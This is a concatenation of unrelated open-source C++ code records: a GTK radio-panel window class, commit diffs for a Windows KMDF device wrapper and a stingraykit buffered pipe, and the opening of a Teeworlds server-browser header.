*----------------------------------------------------------------------------*\/\nMasterPanelWindow :: ~MasterPanelWindow (void) throw ()\n{\n resetTimer();\n gLiveSupport->stopAudio();\n}\n\n\n\/*------------------------------------------------------------------------------\n * Change the language of the panel\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: changeLanguage(Ptr<ResourceBundle>::Ref bundle)\n throw ()\n{\n setBundle(bundle);\n\n try {\n set_title(*getResourceUstring(\"windowTitle\"));\n\n Ptr<WidgetFactory>::Ref wf = WidgetFactory::getInstance();\n\n uploadFileButton = wf->createButton(\n *getResourceUstring(\"uploadFileButtonLabel\"));\n scratchpadButton = wf->createButton(\n *getResourceUstring(\"scratchpadButtonLabel\"));\n simplePlaylistMgmtButton = wf->createButton(\n *getResourceUstring(\"simplePlaylistMgmtButtonLabel\"));\n schedulerButton = wf->createButton(\n *getResourceUstring(\"schedulerButtonLabel\"));\n searchButton = wf->createButton(\n *getResourceUstring(\"searchButtonLabel\"));\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n std::exit(1);\n }\n\n userInfoWidget->changeLanguage(bundle);\n\n \/\/ re-attach the localized widgets to the layout\n buttonBar->attach(*uploadFileButton, 0, 1, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*scratchpadButton, 1, 2, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*simplePlaylistMgmtButton, 2, 3, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*schedulerButton, 3, 4, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n buttonBar->attach(*searchButton, 4, 5, 0, 1,\n Gtk::SHRINK|Gtk::FILL, Gtk::SHRINK|Gtk::FILL,\n 5, 0);\n\n \/\/ re-bind events to the buttons\n uploadFileButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onUploadFileButtonClicked));\n scratchpadButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onScratchpadButtonClicked));\n simplePlaylistMgmtButton->signal_clicked().connect(\n sigc::mem_fun(*this,\n &MasterPanelWindow::onSimplePlaylistMgmtButtonClicked));\n schedulerButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onSchedulerButtonClicked));\n searchButton->signal_clicked().connect(sigc::mem_fun(*this,\n &MasterPanelWindow::onSearchButtonClicked));\n}\n\n\n\/*------------------------------------------------------------------------------\n * Set the timer\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: setTimer(void) throw ()\n{\n sigc::slot<bool> slot = sigc::bind(sigc::mem_fun(*this,\n &MasterPanelWindow::onUpdateTime),\n 0);\n\n \/\/ set the timer to active once a second\n timer.reset(new sigc::connection(\n Glib::signal_timeout().connect(slot, 1000)));\n}\n\n\n\/*------------------------------------------------------------------------------\n * Clear the timer\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: resetTimer(void) throw ()\n{\n timer->disconnect();\n timer.reset();\n}\n\n\n\/*------------------------------------------------------------------------------\n * Update the timeWidget display, with the current time\n *----------------------------------------------------------------------------*\/\nbool\nMasterPanelWindow :: onUpdateTime(int dummy) throw ()\n{\n Ptr<const ptime>::Ref now;\n\n try {\n now = gLiveSupport->getScheduler()->getSchedulerTime();\n } catch (XmlRpcException &e) {\n \/\/ TODO: handle error\n }\n\n if (now.get()) {\n time_duration dayTime = now->time_of_day();\n \/\/ get the time of day, only up to a second precision\n time_duration dayTimeSec(dayTime.hours(),\n dayTime.minutes(),\n dayTime.seconds(),\n 0);\n\n timeWidget->set_text(to_simple_string(dayTimeSec));\n }\n\n return true;\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the upload file button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onUploadFileButtonClicked(void) throw ()\n{\n if (!uploadFileWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"uploadFileWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n uploadFileWindow.reset(new UploadFileWindow(gLiveSupport, bundle));\n }\n\n if (!uploadFileWindow->is_visible()) {\n uploadFileWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Scratchpad button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onScratchpadButtonClicked(void) throw ()\n{\n if (!scratchpadWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"scratchpadWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n scratchpadWindow.reset(new ScratchpadWindow(gLiveSupport, bundle));\n }\n\n if (!scratchpadWindow->is_visible()) {\n scratchpadWindow->show();\n }\n\n scratchpadWindow->showContents();\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Simple Playlist Management button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onSimplePlaylistMgmtButtonClicked(void) throw ()\n{\n if (!simplePlaylistMgmtWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"simplePlaylistManagementWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n simplePlaylistMgmtWindow.reset(\n new SimplePlaylistManagementWindow(gLiveSupport, bundle));\n }\n \n if (!simplePlaylistMgmtWindow->is_visible()) {\n simplePlaylistMgmtWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Scheduler button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onSchedulerButtonClicked(void) throw ()\n{\n if (!schedulerWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"schedulerWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n schedulerWindow.reset(new SchedulerWindow(gLiveSupport, bundle));\n }\n\n if (!schedulerWindow->is_visible()) {\n schedulerWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * The event when the Search button has been clicked.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: onSearchButtonClicked(void) throw ()\n{\n if (!searchWindow.get()) {\n Ptr<ResourceBundle>::Ref bundle;\n try {\n bundle = getBundle(\"searchWindow\");\n } catch (std::invalid_argument &e) {\n std::cerr << e.what() << std::endl;\n return;\n }\n\n searchWindow.reset(new SearchWindow(gLiveSupport, bundle));\n }\n\n if (!searchWindow->is_visible()) {\n searchWindow->show();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Show only the UI components that are visible when no one is logged in\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: showAnonymousUI(void) throw ()\n{\n show_all();\n buttonBar->hide();\n uploadFileButton->hide();\n scratchpadButton->hide();\n simplePlaylistMgmtButton->hide();\n schedulerButton->hide();\n searchButton->hide();\n \n if (uploadFileWindow.get()) {\n uploadFileWindow->hide();\n uploadFileWindow.reset();\n }\n if (scratchpadWindow.get()) {\n scratchpadWindow->hide();\n scratchpadWindow.reset();\n }\n if (simplePlaylistMgmtWindow.get()) {\n simplePlaylistMgmtWindow->hide();\n simplePlaylistMgmtWindow.reset();\n }\n if (schedulerWindow.get()) {\n schedulerWindow->hide();\n schedulerWindow.reset();\n }\n if (searchWindow.get()) {\n searchWindow->hide();\n searchWindow.reset();\n }\n}\n\n\n\/*------------------------------------------------------------------------------\n * Show the UI components that are visible to a specific user.\n *----------------------------------------------------------------------------*\/\nvoid\nMasterPanelWindow :: showLoggedInUI(void) throw ()\n{\n show_all();\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/**********************************************************************\n* Copyright (c) 2013-2014 Red Hat, Inc.\n*\n* Developed by Daynix Computing LTD.\n*\n* Authors:\n* Dmitry Fleytman <dmitry@daynix.com>\n* Pavel Gurvich <pavel@daynix.com>\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n**********************************************************************\/\n\n#include \"stdafx.h\"\n#include \"WdfDevice.h\"\n#include \"trace.h\"\n#include \"WdfDevice.tmh\"\n\nCDeviceInit::~CDeviceInit()\n{\n if (m_Attached)\n {\n Free();\n }\n}\n\nvoid CDeviceInit::Attach(PWDFDEVICE_INIT DevInit)\n{\n m_Attached = true;\n CPreAllocatedDeviceInit::Attach(DevInit);\n}\n\nPWDFDEVICE_INIT CDeviceInit::Detach()\n{\n m_Attached = false;\n return CPreAllocatedDeviceInit::Detach();\n}\n\nNTSTATUS CPreAllocatedDeviceInit::SetName(const UNICODE_STRING &Name)\n{\n auto status = WdfDeviceInitAssignName(m_DeviceInit, &Name);\n\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nvoid CPreAllocatedDeviceInit::Free()\n{\n WdfDeviceInitFree(m_DeviceInit);\n}\n\nvoid CPreAllocatedDeviceInit::SetPowerCallbacks(PFN_WDF_DEVICE_SELF_MANAGED_IO_INIT SelfManagedIoFunc)\n{\n WDF_PNPPOWER_EVENT_CALLBACKS Callbacks;\n WDF_PNPPOWER_EVENT_CALLBACKS_INIT(&Callbacks);\n Callbacks.EvtDeviceSelfManagedIoInit = SelfManagedIoFunc;\n WdfDeviceInitSetPnpPowerEventCallbacks(m_DeviceInit, &Callbacks);\n}\n\nvoid CPreAllocatedDeviceInit::Attach(PWDFDEVICE_INIT DeviceInit)\n{\n m_DeviceInit = DeviceInit;\n}\n\nPWDFDEVICE_INIT CPreAllocatedDeviceInit::Detach()\n{\n auto DevInit = m_DeviceInit;\n m_DeviceInit = nullptr;\n return DevInit;\n}\n\nNTSTATUS CPreAllocatedDeviceInit::SetPreprocessCallback(PFN_WDFDEVICE_WDM_IRP_PREPROCESS Callback,\n UCHAR MajorFunction,\n const PUCHAR MinorFunctions,\n ULONG NumMinorFunctions)\n{\n auto status = WdfDeviceInitAssignWdmIrpPreprocessCallback(m_DeviceInit,\n Callback,\n MajorFunction,\n MinorFunctions,\n NumMinorFunctions);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! status: %!STATUS!\", status);\n }\n return status;\n}\n\nNTSTATUS CWdfDevice::CreateSymLink(const UNICODE_STRING &Name)\n{\n auto status = WdfDeviceCreateSymbolicLink(m_Device, &Name);\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n return status;\n}\n\nNTSTATUS CWdfDevice::Create(CPreAllocatedDeviceInit &DeviceInit, WDF_OBJECT_ATTRIBUTES &DeviceAttr)\n{\n auto DevInitObj = DeviceInit.Detach();\n\n auto status = WdfDeviceCreate(&DevInitObj, &DeviceAttr, &m_Device);\n if (!NT_SUCCESS(status))\n {\n DeviceInit.Attach(DevInitObj);\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n status = CacheDeviceName();\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! Device name caching failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nNTSTATUS CWdfQueue::Create(CWdfDevice &Device)\n{\n WDF_IO_QUEUE_CONFIG QueueConfig;\n WDF_OBJECT_ATTRIBUTES Attributes;\n\n InitConfig(QueueConfig);\n SetCallbacks(QueueConfig);\n\n WDF_OBJECT_ATTRIBUTES_INIT(&Attributes);\n Attributes.ExecutionLevel = WdfExecutionLevelPassive;\n\n auto status = Device.AddQueue(QueueConfig, Attributes, m_Queue);\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nNTSTATUS CWdfDevice::AddQueue(WDF_IO_QUEUE_CONFIG &Config, WDF_OBJECT_ATTRIBUTES &Attributes, WDFQUEUE &Queue)\n{\n auto status = WdfIoQueueCreate(m_Device, &Config, &Attributes, &Queue);\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nvoid CWdfDefaultQueue::InitConfig(WDF_IO_QUEUE_CONFIG &QueueConfig)\n{\n WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&QueueConfig, m_DispatchType);\n}\n\nvoid CWdfSpecificQueue::InitConfig(WDF_IO_QUEUE_CONFIG &QueueConfig)\n{\n WDF_IO_QUEUE_CONFIG_INIT(&QueueConfig, m_DispatchType);\n}\n\nNTSTATUS CWdfDevice::CacheDeviceName()\n{\n WDFSTRING deviceName;\n auto status = WdfStringCreate(NULL, WDF_NO_OBJECT_ATTRIBUTES, &deviceName);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! WdfStringCreate failed. %!STATUS!\", status);\n return status;\n }\n\n status = WdfDeviceRetrieveDeviceName(m_Device, deviceName);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! WdfDeviceRetrieveDeviceName failed. %!STATUS!\", status);\n WdfObjectDelete(deviceName);\n return status;\n }\n\n UNICODE_STRING UnicodeDeviceName;\n WdfStringGetUnicodeString(deviceName, &UnicodeDeviceName);\n\n status = m_CachedName.Create(&UnicodeDeviceName);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! CString creation failed. %!STATUS!\", status);\n WdfObjectDelete(deviceName);\n return status;\n }\n\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! Newly created device name is %wZ\", &UnicodeDeviceName);\n WdfObjectDelete(deviceName);\n return STATUS_SUCCESS;\n}\n\nNTSTATUS CWdfDevice::CreateUserModeHandle(HANDLE RequestorProcess, PHANDLE ObjectHandle)\n{\n IO_STATUS_BLOCK IoStatusBlock;\n PCUNICODE_STRING UniName = m_CachedName;\n\n OBJECT_ATTRIBUTES ObjectAttributes;\n InitializeObjectAttributes(&ObjectAttributes,\n const_cast<PUNICODE_STRING>(UniName),\n OBJ_KERNEL_HANDLE,\n nullptr, nullptr);\n\n HANDLE KernelHandle;\n auto status = ZwOpenFile(&KernelHandle,\n GENERIC_READ | GENERIC_WRITE,\n &ObjectAttributes, &IoStatusBlock, 0,\n FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! ZwOpenFile failed. %!STATUS!\", status);\n return status;\n }\n\n status = ZwDuplicateObject(ZwCurrentProcess(),\n KernelHandle,\n RequestorProcess,\n ObjectHandle,\n 0,\n 0,\n DUPLICATE_SAME_ACCESS |\n DUPLICATE_SAME_ATTRIBUTES |\n DUPLICATE_CLOSE_SOURCE);\n\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! ZwDuplicateObject failed. %!STATUS!\", status);\n ZwClose(KernelHandle);\n }\n\n return status;\n}\n<commit_msg>CWdfDevice: Pacify excessive traces<commit_after>\/**********************************************************************\n* Copyright (c) 2013-2014 Red Hat, Inc.\n*\n* Developed by Daynix Computing LTD.\n*\n* Authors:\n* Dmitry Fleytman <dmitry@daynix.com>\n* Pavel Gurvich <pavel@daynix.com>\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n**********************************************************************\/\n\n#include \"stdafx.h\"\n#include \"WdfDevice.h\"\n#include \"trace.h\"\n#include \"WdfDevice.tmh\"\n\nCDeviceInit::~CDeviceInit()\n{\n if (m_Attached)\n {\n Free();\n }\n}\n\nvoid CDeviceInit::Attach(PWDFDEVICE_INIT DevInit)\n{\n m_Attached = true;\n CPreAllocatedDeviceInit::Attach(DevInit);\n}\n\nPWDFDEVICE_INIT CDeviceInit::Detach()\n{\n m_Attached = false;\n return CPreAllocatedDeviceInit::Detach();\n}\n\nNTSTATUS CPreAllocatedDeviceInit::SetName(const UNICODE_STRING &Name)\n{\n auto status = WdfDeviceInitAssignName(m_DeviceInit, &Name);\n\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nvoid CPreAllocatedDeviceInit::Free()\n{\n WdfDeviceInitFree(m_DeviceInit);\n}\n\nvoid CPreAllocatedDeviceInit::SetPowerCallbacks(PFN_WDF_DEVICE_SELF_MANAGED_IO_INIT SelfManagedIoFunc)\n{\n WDF_PNPPOWER_EVENT_CALLBACKS Callbacks;\n WDF_PNPPOWER_EVENT_CALLBACKS_INIT(&Callbacks);\n Callbacks.EvtDeviceSelfManagedIoInit = SelfManagedIoFunc;\n WdfDeviceInitSetPnpPowerEventCallbacks(m_DeviceInit, &Callbacks);\n}\n\nvoid CPreAllocatedDeviceInit::Attach(PWDFDEVICE_INIT DeviceInit)\n{\n m_DeviceInit = DeviceInit;\n}\n\nPWDFDEVICE_INIT CPreAllocatedDeviceInit::Detach()\n{\n auto DevInit = m_DeviceInit;\n m_DeviceInit = nullptr;\n return DevInit;\n}\n\nNTSTATUS CPreAllocatedDeviceInit::SetPreprocessCallback(PFN_WDFDEVICE_WDM_IRP_PREPROCESS Callback,\n UCHAR MajorFunction,\n const PUCHAR MinorFunctions,\n ULONG NumMinorFunctions)\n{\n auto status = WdfDeviceInitAssignWdmIrpPreprocessCallback(m_DeviceInit,\n Callback,\n MajorFunction,\n MinorFunctions,\n NumMinorFunctions);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! status: %!STATUS!\", status);\n }\n return status;\n}\n\nNTSTATUS CWdfDevice::CreateSymLink(const UNICODE_STRING &Name)\n{\n auto status = WdfDeviceCreateSymbolicLink(m_Device, &Name);\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n return status;\n}\n\nNTSTATUS CWdfDevice::Create(CPreAllocatedDeviceInit &DeviceInit, WDF_OBJECT_ATTRIBUTES &DeviceAttr)\n{\n auto DevInitObj = DeviceInit.Detach();\n\n auto status = WdfDeviceCreate(&DevInitObj, &DeviceAttr, &m_Device);\n if (!NT_SUCCESS(status))\n {\n DeviceInit.Attach(DevInitObj);\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n status = CacheDeviceName();\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! Device name caching failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nNTSTATUS CWdfQueue::Create(CWdfDevice &Device)\n{\n WDF_IO_QUEUE_CONFIG QueueConfig;\n WDF_OBJECT_ATTRIBUTES Attributes;\n\n InitConfig(QueueConfig);\n SetCallbacks(QueueConfig);\n\n WDF_OBJECT_ATTRIBUTES_INIT(&Attributes);\n Attributes.ExecutionLevel = WdfExecutionLevelPassive;\n\n auto status = Device.AddQueue(QueueConfig, Attributes, m_Queue);\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nNTSTATUS CWdfDevice::AddQueue(WDF_IO_QUEUE_CONFIG &Config, WDF_OBJECT_ATTRIBUTES &Attributes, WDFQUEUE &Queue)\n{\n auto status = WdfIoQueueCreate(m_Device, &Config, &Attributes, &Queue);\n if (!NT_SUCCESS(status)) {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! failed %!STATUS!\", status);\n }\n\n return status;\n}\n\nvoid CWdfDefaultQueue::InitConfig(WDF_IO_QUEUE_CONFIG &QueueConfig)\n{\n WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&QueueConfig, m_DispatchType);\n}\n\nvoid CWdfSpecificQueue::InitConfig(WDF_IO_QUEUE_CONFIG &QueueConfig)\n{\n WDF_IO_QUEUE_CONFIG_INIT(&QueueConfig, m_DispatchType);\n}\n\nNTSTATUS CWdfDevice::CacheDeviceName()\n{\n WDFSTRING deviceName;\n auto status = WdfStringCreate(NULL, WDF_NO_OBJECT_ATTRIBUTES, &deviceName);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! WdfStringCreate failed. %!STATUS!\", status);\n return status;\n }\n\n status = WdfDeviceRetrieveDeviceName(m_Device, deviceName);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! WdfDeviceRetrieveDeviceName failed. %!STATUS!\", status);\n WdfObjectDelete(deviceName);\n return status;\n }\n\n UNICODE_STRING UnicodeDeviceName;\n WdfStringGetUnicodeString(deviceName, &UnicodeDeviceName);\n\n status = m_CachedName.Create(&UnicodeDeviceName);\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! CString creation failed. %!STATUS!\", status);\n WdfObjectDelete(deviceName);\n return status;\n }\n\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! Newly created device name is %wZ\", &UnicodeDeviceName);\n WdfObjectDelete(deviceName);\n return STATUS_SUCCESS;\n}\n\nNTSTATUS CWdfDevice::CreateUserModeHandle(HANDLE RequestorProcess, PHANDLE ObjectHandle)\n{\n IO_STATUS_BLOCK IoStatusBlock;\n PCUNICODE_STRING UniName = m_CachedName;\n\n OBJECT_ATTRIBUTES ObjectAttributes;\n InitializeObjectAttributes(&ObjectAttributes,\n const_cast<PUNICODE_STRING>(UniName),\n OBJ_KERNEL_HANDLE,\n nullptr, nullptr);\n\n HANDLE KernelHandle;\n auto status = ZwOpenFile(&KernelHandle,\n GENERIC_READ | GENERIC_WRITE,\n &ObjectAttributes, &IoStatusBlock, 0,\n FILE_NON_DIRECTORY_FILE | FILE_RANDOM_ACCESS);\n if (!NT_SUCCESS(status))\n {\n return status;\n }\n\n status = ZwDuplicateObject(ZwCurrentProcess(),\n KernelHandle,\n RequestorProcess,\n ObjectHandle,\n 0,\n 0,\n DUPLICATE_SAME_ACCESS |\n DUPLICATE_SAME_ATTRIBUTES |\n DUPLICATE_CLOSE_SOURCE);\n\n if (!NT_SUCCESS(status))\n {\n TraceEvents(TRACE_LEVEL_ERROR, TRACE_WDFDEVICE, \"%!FUNC! ZwDuplicateObject failed. %!STATUS!\", status);\n ZwClose(KernelHandle);\n }\n\n return status;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011 - 2015, GS Group, https:\/\/github.com\/GSGroup\n\/\/ Permission to use, copy, modify, and\/or distribute this software for any purpose with or without fee is hereby granted,\n\/\/ provided that the above copyright notice and this permission notice appear in all copies.\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS.\n\/\/ IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,\n\/\/ WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n#include <stingraykit\/io\/BufferedPipe.h>\n\nnamespace stingray\n{\n\n\tBufferedPipe::BufferedPipe(const IPipePtr& pipe, size_t bufferSize)\n\t\t: _pipe(pipe), _buffer(bufferSize), _bufferOffset(), _bufferSize()\n\t{ }\n\n\n\tu64 BufferedPipe::Read(ByteData data, const ICancellationToken& token)\n\t{\n\t\tif (_bufferOffset == _bufferSize)\n\t\t{\n\t\t\tconst size_t size = _pipe->Read(_buffer.GetByteData(), token);\n\t\t\tif (size == 0)\n\t\t\t\treturn 0;\n\n\t\t\t_bufferOffset = 0;\n\t\t\t_bufferSize = size;\n\t\t}\n\n\t\tconst size_t size = std::min(_bufferSize - _bufferOffset, data.size());\n\t\tstd::copy(_buffer.begin() + _bufferOffset, _buffer.begin() + _bufferOffset + size, data.begin());\n\t\t_bufferOffset += size;\n\n\t\treturn size;\n\t}\n\n}\n<commit_msg>use data\/size methods of ByteData instead of begin\/end<commit_after>\/\/ Copyright (c) 2011 - 2015, GS Group, https:\/\/github.com\/GSGroup\n\/\/ Permission to use, copy, modify, and\/or distribute this software for any purpose with or without fee is hereby granted,\n\/\/ provided that the above copyright notice and this permission notice appear in all copies.\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS.\n\/\/ IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,\n\/\/ WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n#include <stingraykit\/io\/BufferedPipe.h>\n\nnamespace stingray\n{\n\n\tBufferedPipe::BufferedPipe(const IPipePtr& pipe, size_t bufferSize)\n\t\t: _pipe(pipe), _buffer(bufferSize), _bufferOffset(), _bufferSize()\n\t{ }\n\n\n\tu64 BufferedPipe::Read(ByteData data, const ICancellationToken& token)\n\t{\n\t\tif (_bufferOffset == _bufferSize)\n\t\t{\n\t\t\tconst size_t size = _pipe->Read(_buffer.GetByteData(), token);\n\t\t\tif (size == 0)\n\t\t\t\treturn 0;\n\n\t\t\t_bufferOffset = 0;\n\t\t\t_bufferSize = size;\n\t\t}\n\n\t\tconst size_t size = std::min(_bufferSize - _bufferOffset, data.size());\n\t\tstd::copy(_buffer.data() + _bufferOffset, _buffer.data() + _bufferOffset + size, data.data());\n\t\t_bufferOffset += size;\n\n\t\treturn size;\n\t}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2014 Christoph Malek\n\/\/ See LICENSE for more information.\n\/\/\n\n#ifndef TWSM_SERVER_BROWSER\n#define TWSM_SERVER_BROWSER\n\n\n#include \"ui_main_window.h\"\n\n#include <mlk\/log\/log.h>\n#include <mlk\/time\/simple_timer.h>\n\n#include <twl\/network\/network.hpp>\n\n#include <QObject>\n#include <QTableWidgetItem>\n\n\nnamespace Ui\n{class main_window;}\n\nnamespace twsm\n{\n\tclass server_browser : public QObject\n\t{\n\t\tQ_OBJECT\n\n\t\tUi::main_window& m_ui;\n\n\t\ttwl::master_server m_masters;\n\t\ttwl::game_server m_servers;\n\n\t\tmlk::tm::simple_timer m_stopwatch{0};\n\n\t\tbool m_refreshing_masters{false}, m_refreshing{false};\n\n\tpublic:\n\t\tserver_browser(Ui::main_window& ui) :\n\t\t\tm_ui{ui}\n\t\t{ }\n\n\t\tvoid update()\n\t\t{\n\t\t\tm_masters.update();\n\t\t\tm_servers.update();\n\t\t}\n\n\t\tvoid init()\n\t\t{\n\t\t\tmlk::lout(\"server_browser\", true) << \"init. settings default masters. setting up events.\";\n\n\t\t\t\/\/ setup default masters\n\t\t\tm_masters.add_master({\"master1.teeworlds.com:8300\"});\n\t\t\tm_masters.add_master({\"master2.teeworlds.com:8300\"});\n\t\t\tm_masters.add_master({\"master3.teeworlds.com:8300\"});\n\t\t\tm_masters.add_master({\"master4.teeworlds.com:8300\"});\n\n\t\t\t\/\/ setup events\n\t\t\tm_masters.on_finish = [this]{this->masters_finished();};\n\t\t\tm_servers.on_finish = [this]{this->servers_finished();};\n\n\t\t\t\/\/ ui 